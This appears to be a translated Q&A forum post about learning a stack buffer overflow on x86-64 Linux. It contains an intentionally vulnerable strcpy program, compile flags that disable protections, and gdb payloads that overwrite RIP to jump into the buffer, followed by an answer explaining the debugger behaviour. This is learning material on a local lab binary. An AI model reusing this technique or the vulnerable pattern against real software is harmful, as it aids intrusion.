x86-64 位缓冲区溢出,帮助覆盖 %rip

逆向工程 缓冲区溢出 amd64
2021-06-28 02:18:07

我正在尝试使用缓冲区溢出漏洞在 Ubuntu 16.04 LTS 64 位上工作。

为此,我使用了以下易受攻击的程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{

    char buffer[256];
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

我停用 ALSR(暂时设置/proc/sys/kernel/randomize_va_space0)并使用以下命令编译我的代码

gcc vuln.c -o vuln -z execstack -fno-stack-protector

我管理覆盖rip6B的使用

gdb$ run $(python -c 'print "A"*264 + "B"*6')

并在 gdb 中得到以下结果:

RSI: 0x602010 ('A' <repeats 200 times>...)
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd9d0 --> 0x0 
RIP: 0x424242424242 ('BBBBBB')
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

这对我来说很有意义。

我想rip用“ A”的缓冲区的开头覆盖以便稍后我可以将我的 shellcode 放在缓冲区的开头(前面是一些 noop):

所以,知道,A我在缓冲区中写了多少's 我看看rsp减去一个偏移量(我只是在玩偏移量,直到我得到一行以A's开头

gdb$ x/20x $rsp-288
0x7fffffffd8b0: 0x00007fffffffdaa8  0x0000000200000000
0x7fffffffd8c0: 0x4141414141414141  0x4141414141414141
0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141

所以,从我的角度来看,我的缓冲区从0x7fffffffd8c0堆栈开始

接下来我将重定向rip0x7fffffffd8c0如下:

gdb$ run $(python -c 'print "A"*264 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

哪个有效:

RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd9d0 --> 0x0 
RIP: 0x7fffffffd8c0 ('A' <repeats 200 times>...)

由于我打算将 shellcode 放在我刚刚假设的缓冲区的开头,我的 shellcode 将有 10 个字节长,看看这是否有效:

gdb$ run $(python -c 'print "S"*10 + "A"*254 + "\x7f\xff\xff\xff\xd8\xc0"[::-1]')

现在发生了一些我不明白的事情:尽管我在缓冲区中写入了完全相同数量的字符,但rip更改的值显然不再指向缓冲区的开头:

RSI: 0x602010 ("SSSSSSSSSS", 'A' <repeats 190 times>...)
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd980 --> 0x0 
RIP: 0x7fffffffd8ca ('A' <repeats 182 times>)

而不是0x7fffffffd8c0 rip现在包含0x7fffffffd8ca.

所以它实际上仍然指向我的A's的开头,而不是S我在 python 命令中注入's :

gdb-peda$ x/20 $rip-10
0x7fffffffd8c0: 0x5353535353535353  0x4141414141415353
0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141

显然,我才刚刚开始接触这些东西。

为什么会这样?

我错过了什么?

1个回答

别担心,shellcode 正在正确执行,只是调试器“跳过”了执行。

请记住,这rip是指令指针,并且rip会执行任何存在于 中的代码但是,如果代码无效,则会出现问题(例如,将引发 SIGSEGV)

在这种特殊情况下, a S(byte \x53) 对应于一个push rbx命令(它是有效的,并将 8 个字节推入堆栈),而 anA是 a rex.B- 基本上来说,在这种情况下它会导致 SIGSEGV。

因此,在后一种情况下,push rbx将执行10 个命令。(注意esp减少了0x7fffffffd9d0 - 0x7fffffffd980 = 0x50,这是 大小的 10 倍rbx

你可以做什么:retmain函数中的指令处中断断点被击中后,再执行 1 条指令,然后rip应该有所需的值。